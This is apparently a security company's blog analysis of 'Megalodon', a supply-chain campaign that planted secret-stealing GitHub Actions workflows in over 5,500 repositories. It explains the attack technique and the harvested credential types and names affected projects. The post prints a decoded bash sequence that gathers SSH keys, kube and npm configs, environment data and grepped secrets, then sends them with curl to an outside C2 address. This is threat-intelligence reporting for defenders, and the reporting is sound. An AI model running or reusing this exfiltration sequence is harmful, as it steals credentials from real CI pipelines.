Back to Blog

Megalodon: Mass GitHub Actions Secret Exfiltration Across 5,500+ Public Repositories

A forged commit. A workflow file disguised as a routine CI optimization. Within 6 hours, 5,561 GitHub repositories were backdoored. Cloud credentials harvested. SSH keys stolen. OIDC tokens minted and exfiltrated before any runner finished. The attacker never touched your application code, only your pipeline. Most repositories had no idea it happened.
Rohan Prabhu
View LinkedIn

May 22, 2026

Share on X
Share on X
Share on LinkedIn
Share on Facebook
Follow our RSS feed
Table of Contents

On May 18, 2026, a large-scale supply chain attack campaign tracked as Megalodon injected malicious GitHub Actions workflows into over 5,500 open-source repositories within a single six-hour window. The campaign targeted repositories with weak branch protection, pushing backdoored CI workflow files designed to steal secrets from every subsequent pipeline run including cloud credentials, SSH keys, API tokens, and GitHub Actions OIDC tokens.

Background: The GitHub Actions Attack Surface

GitHub Actions workflows run arbitrary shell commands with access to every secret injected into the CI environment. When a repository grants id-token: write permission, workflows can also mint short-lived OIDC tokens that authenticate directly to cloud providers without static credentials. This makes the CI runner a high-value target: a single workflow execution can yield AWS access keys, GCP service account tokens, Azure IMDS credentials, Kubernetes configs, and all repository secrets simultaneously.

Branch protection rules are the primary gate preventing unauthorized workflow injection. Repositories without mandatory pull request reviews allow any account with write access, or any accepted PR from a public fork with weak merge controls, to land workflow changes directly on the default branch. Megalodon systematically exploited this gap at scale.

Attack Technique: Poisoned Pipeline Execution (d-PPE)

Megalodon is a textbook direct Poisoned Pipeline Execution (d-PPE) attack, a class of CI/CD attack where an adversary with write access to a repository injects malicious code directly into workflow definition files, causing the CI system to execute attacker-controlled commands on the next pipeline run. Unlike indirect PPE (i-PPE), which requires a pull request from a fork, d-PPE exploits direct push access to the default branch, bypassing any pull request review gate entirely.

This technique maps to MITRE ATT&CK T1195.002 (Supply Chain Compromise: Compromise Software Supply Chain) and is documented in CISA's guidance on CI/CD security risks. The attack is particularly effective because:

  • Workflow YAML files receive far less security scrutiny than application code
  • Bot-like commit messages blend into high-velocity repositories with no friction
  • CI runners have broad outbound internet access by default, with no firewall to bypass
  • Ephemeral runner environments leave minimal forensic traces after the job completes
d-PPE vs. i-PPE: In d-PPE the attacker pushes directly to the target branch, with no PR needed, no review triggered. Branch protection with mandatory reviews is the primary structural control that converts a d-PPE opportunity into the harder i-PPE problem, where the attacker must trick a maintainer into merging a malicious PR.

Payload Capabilities

Both workflow variants contain a base64-encoded bash payload that decodes and executes inline during the CI run. The payload is functionally identical across both variants, differing only in the trigger condition. On execution, it performs the following collection and exfiltration sequence:

Credential and Secret Harvesting

  • Environment variables: Full CI environment dump, /proc/*/environ for all running processes, and PID 1 environment data
  • Cloud credentials: AWS access keys and session tokens, GCP OAuth tokens, Azure IMDS responses and instance role credentials
  • Authentication material: SSH private keys, Docker registry configs (~/.docker/config.json), .npmrc tokens, Kubernetes configs (~/.kube/config), HashiCorp Vault tokens, Terraform credentials
  • CI/CD tokens: GitHub Actions OIDC tokens (minted via id-token: write permission), GitLab CI/CD tokens, Bitbucket pipeline tokens
  • Source code secrets: Filesystem grep across the workspace for 30+ secret patterns — API keys, connection strings, JWTs, PEM certificates, .env files, credentials.json, service-account.json

Exfiltration

All harvested data is compressed into a single archive and transmitted via HTTPS POST to 216.126.225.129:8443. The payload uses the GitHub Actions runner's outbound internet access  which most CI environments leave unrestricted, reaching the C2 server. No process anomaly or crash is visible to the user; the workflow step exits cleanly after exfiltration.

# Decoded exfiltration sequence (representative)
DATA=$(env; cat /proc/1/environ 2>/dev/null; \
  cat ~/.ssh/id_* 2>/dev/null; \
  cat ~/.kube/config 2>/dev/null; \
  cat ~/.npmrc 2>/dev/null; \
  grep -rE "(API_KEY|SECRET|TOKEN|PASSWORD|PRIVATE_KEY|BEGIN RSA)" . 2>/dev/null)

echo "$DATA" | gzip | curl -s -X POST \
  https://216.126.225.129:8443/collect \
  -H "Content-Type: application/octet-stream" \
  --data-binary @-

Harden-Runner job insights showing blocked outbound connection to C2 server

Affected Repositories

The campaign touched 5,561 repositories across GitHub. SafeDep has published a full dataset of all 5,718 malicious commits as megalodon-campaign-commits.csv. The most prominent confirmed targets are listed below; the complete scope can be queried on GitHub using the search links in the following sections.

Notable Affected Organizations and Packages

Tiledesk (9 repos) - open source live chat and chatbot platform. npm package @tiledesk/tiledesk-server poisoned across versions 2.18.6–2.18.12; backdoor propagated to downstream consumers via npm registry.

Black-Iron-Project (8 repos) - hit by targeted variant within the same campaign window.

WISE-Community (confirmed) - education technology open source community.

All 9 confirmed Tiledesk repositories affected:

Search for Malicious Workflow Content

The injected workflow files use standard names (ci.yml, docker-community-worker-push-latest.yml) to avoid suspicion. The workflow name field inside the file is set to SysDiag or Optimize-Build. Search by content to find affected repos:

Search for Forged Commits

Search by forged author identity or commit message to find repositories that received malicious commits:

We are actively analyzing the campaign infrastructure and affected repositories. This post will be updated as technical analysis progresses, including full payload details, decoded exfiltration sequences, complete indicators of compromise, and additional affected repository data.

Blog

Explore Related Posts